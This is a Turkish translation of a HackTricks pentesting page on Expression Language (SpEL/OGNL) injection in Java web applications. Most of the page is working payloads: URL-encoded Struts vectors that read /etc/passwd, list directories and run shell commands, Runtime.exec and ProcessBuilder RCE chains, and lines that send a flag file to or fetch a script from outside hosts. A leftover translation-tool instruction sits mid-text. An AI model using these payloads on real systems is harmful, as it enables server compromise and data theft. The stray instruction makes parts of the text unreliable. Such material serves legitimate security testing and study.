hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
2024-02-10 18:14:16 +00:00

16 KiB
Raw Blame History

EL - Expression Language

AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

Temel Bilgiler

Expression Language (EL), sunum katmanı (örneğin, web sayfaları) ile uygulama mantığı (örneğin, yönetilen nesneler) arasında etkileşim sağlayarak JavaEE'de önemli bir rol oynar. Ağırlıklı olarak şu alanlarda kullanılır:

  • JavaServer Faces (JSF): Arayüz bileşenlerini arka uç veri/aksiyonlarına bağlamak için.
  • JavaServer Pages (JSP): JSP sayfaları içinde veri erişimi ve manipülasyonu için.
  • Contexts and Dependency Injection for Java EE (CDI): Web katmanının yönetilen nesnelerle etkileşimini kolaylaştırmak için.

Kullanım Bağlamları:

  • Spring Framework: Güvenlik ve Veri gibi çeşitli modüllerde kullanılır.
  • Genel Kullanım: Java, Kotlin ve Scala gibi JVM tabanlı dillerdeki geliştiriciler tarafından SpEL API aracılığıyla kullanılır.

EL, JavaEE teknolojilerinde, bağımsız ortamlarda bulunur ve .jsp veya .jsf dosya uzantıları, yığın hataları ve "Servlet" gibi terimlerle tanınır. Bununla birlikte, özellikleri ve belirli karakterlerin kullanımı sürüm bağımlı olabilir.

{% hint style="info" %} EL sürümüne bağlı olarak bazı özellikler ık veya kapalı olabilir ve genellikle bazı karakterler yasaklanmış olabilir. {% endhint %}

Temel Örnek

(EL hakkında başka bir ilginç öğreticiye https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/ adresinden ulaşabilirsiniz)

Maven deposundan aşağıdaki jar dosyalarını indirin:

  • commons-lang3-3.9.jar
  • spring-core-5.2.1.RELEASE.jar
  • commons-logging-1.2.jar
  • spring-expression-5.2.1.RELEASE.jar

Ve aşağıdaki Main.java dosyasını oluşturun:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}

Sonra kodu derleyin (eğer javac yüklü değilse, sudo apt install default-jdk komutunu kullanarak yükleyin):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

Uygulamayı şu komutla çalıştırın:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

Önceki örnekte {5*5} terimi değerlendirildi.

CVE Tabanlı Öğretici

Bunu bu gönderide kontrol edin: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a

Yükler

Temel eylemler

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Tespit

  • Burp tespiti
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
  • J2EE tespiti
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
  • 10 saniye bekle
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

Uzaktan Dosya Dahil Etme

Uzaktan Dosya Dahil Etme (Remote File Inclusion), bir web uygulamasının, kullanıcı tarafından kontrol edilebilen bir dosyayı dinamik olarak dahil etmesi nedeniyle ortaya çıkan bir güvenlik açığıdır. Bu açık, saldırganın web sunucusunda bulunan bir dosyayı uzaktan yürütmesine olanak tanır.

Bu saldırı, genellikle web uygulamasının kullanıcı tarafından sağlanan bir parametreyi doğrudan bir dosya yoluna dönüştürdüğü durumlarda gerçekleşir. Saldırgan, bu parametreyi manipüle ederek, kendi kötü niyetli dosyasını dahil etmeyi başarır.

Bu tür bir saldırı, saldırganın web sunucusunda bulunan hassas bilgilere erişmesine veya kötü amaçlı kodu yürütmesine olanak tanır. Bu nedenle, web uygulamalarının güvenliğini sağlamak için, kullanıcı tarafından sağlanan parametrelerin doğru bir şekilde işlenmesi ve güvenlik kontrollerinin uygulanması önemlidir.

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

Dizin Listeleme

Directory listing, bir sunucunun belirli bir dizindeki dosyaları ve alt dizinleri listelemesidir. Bu, bir saldırganın hedef sunucuda bulunan dosyaları keşfetmesine ve potansiyel olarak hassas bilgilere erişmesine olanak tanır. Dizin listeleme saldırıları, genellikle web uygulamalarında kullanılan sunucu tarafı betik enjeksiyonu (Server-Side Template Injection - SSTI) gibi zayıf noktaları hedefler. Bu saldırılar, sunucunun yanıtında görünen hedef dizinlerin veya dosyaların listesini elde etmek için kullanılabilir.

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

Uzaktan Kod Çalıştırma (RCE)

  • Temel Uzaktan Kod Çalıştırma ıklaması
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
  • RCE linux
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • RCE Windows (test edilmedi)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • Daha Fazla Uzaktan Kod Çalıştırma (RCE)
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

Ortamı İnceleme

  • applicationScope - genel uygulama değişkenleri
  • requestScope - istek değişkenleri
  • initParam - uygulama başlatma değişkenleri
  • sessionScope - oturum değişkenleri
  • param.X - X, bir http parametresinin adı olan param değeri

Bu değişkenleri String olarak dönüştürmeniz gerekecektir:

${sessionScope.toString()}

Yetkilendirme atlatma örneği

The following is content from a hacking book about hacking techiques. The following content is from the file /hive/hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md. Translate the relevant English text to Turkish and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax.

${pageContext.request.getSession().setAttribute("admin", true)}

Uygulama ayrıca özel değişkenler de kullanabilir, örneğin:

${user}
${password}
${employee.FirstName}

WAF Geçişi

https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/ adresine bakın.

Referanslar

AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert)!